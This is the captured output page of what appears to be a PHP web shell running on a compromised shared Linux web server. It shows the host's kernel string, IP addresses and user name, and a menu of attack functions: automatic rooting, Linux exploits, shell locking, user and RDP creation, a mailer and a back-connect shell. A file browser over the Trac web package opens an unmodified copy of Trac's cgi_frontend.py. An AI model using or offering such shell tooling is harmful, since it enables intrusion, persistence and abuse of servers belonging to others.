Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
trac /
web /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
__init__.py
522
B
-rw-r--r--
_fcgi.py
42
KB
-rw-r--r--
api.py
37.04
KB
-rw-r--r--
auth.py
18.05
KB
-rw-r--r--
cgi_frontend.py
2.19
KB
-rw-r--r--
chrome.py
61.95
KB
-rw-r--r--
fcgi_frontend.py
1.68
KB
-rw-r--r--
href.py
7.31
KB
-rw-r--r--
main.py
35.57
KB
-rw-r--r--
modpython_frontend.py
5.14
KB
-rw-r--r--
session.py
24.54
KB
-rw-r--r--
standalone.py
15.87
KB
-rw-r--r--
wsgi.py
9.68
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cgi_frontend.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (C) 2005-2021 Edgewall Software # Copyright (C) 2005 Christopher Lenz <cmlenz@gmx.de> # Copyright (C) 2005 Matthew Good <trac@matt-good.net> # All rights reserved. # # This software is licensed as described in the file COPYING, which # you should have received as part of this distribution. The terms # are also available at https://trac.edgewall.org/wiki/TracLicense. # # This software consists of voluntary contributions made by many # individuals. For the exact contribution history, see the revision # history and logs, available at https://trac.edgewall.org/log/. # # Author: Christopher Lenz <cmlenz@gmx.de> # Matthew Good <trac@matt-good.net> import os import pkg_resources import sys from trac import __version__ as VERSION from trac.web.main import dispatch_request from trac.web.wsgi import WSGIGateway class CGIGateway(WSGIGateway): wsgi_multithread = False wsgi_multiprocess = False wsgi_run_once = True def __init__(self): WSGIGateway.__init__(self, dict(os.environ)) def _write(self, data): assert self.headers_set, 'Response not started' if not self.headers_sent: status, headers = self.headers_sent = self.headers_set sys.stdout.write('Status: %s\r\n' % status) for header in headers: sys.stdout.write('%s: %s\r\n' % header) sys.stdout.write('\r\n') sys.stdout.flush() sys.stdout.write(data) sys.stdout.flush() def run(): try: # Make FreeBSD use blocking I/O like other platforms import fcntl for stream in [sys.stdin, sys.stdout]: fd = stream.fileno() flags = fcntl.fcntl(fd, fcntl.F_GETFL) fcntl.fcntl(fd, fcntl.F_SETFL, flags & ~os.O_NONBLOCK) except (ImportError, AttributeError): pass try: # Use binary I/O on Windows import msvcrt msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY) msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) except ImportError: pass gateway = CGIGateway() gateway.run(dispatch_request) if __name__ == '__main__': pkg_resources.require('Trac==%s' % VERSION) run()
Close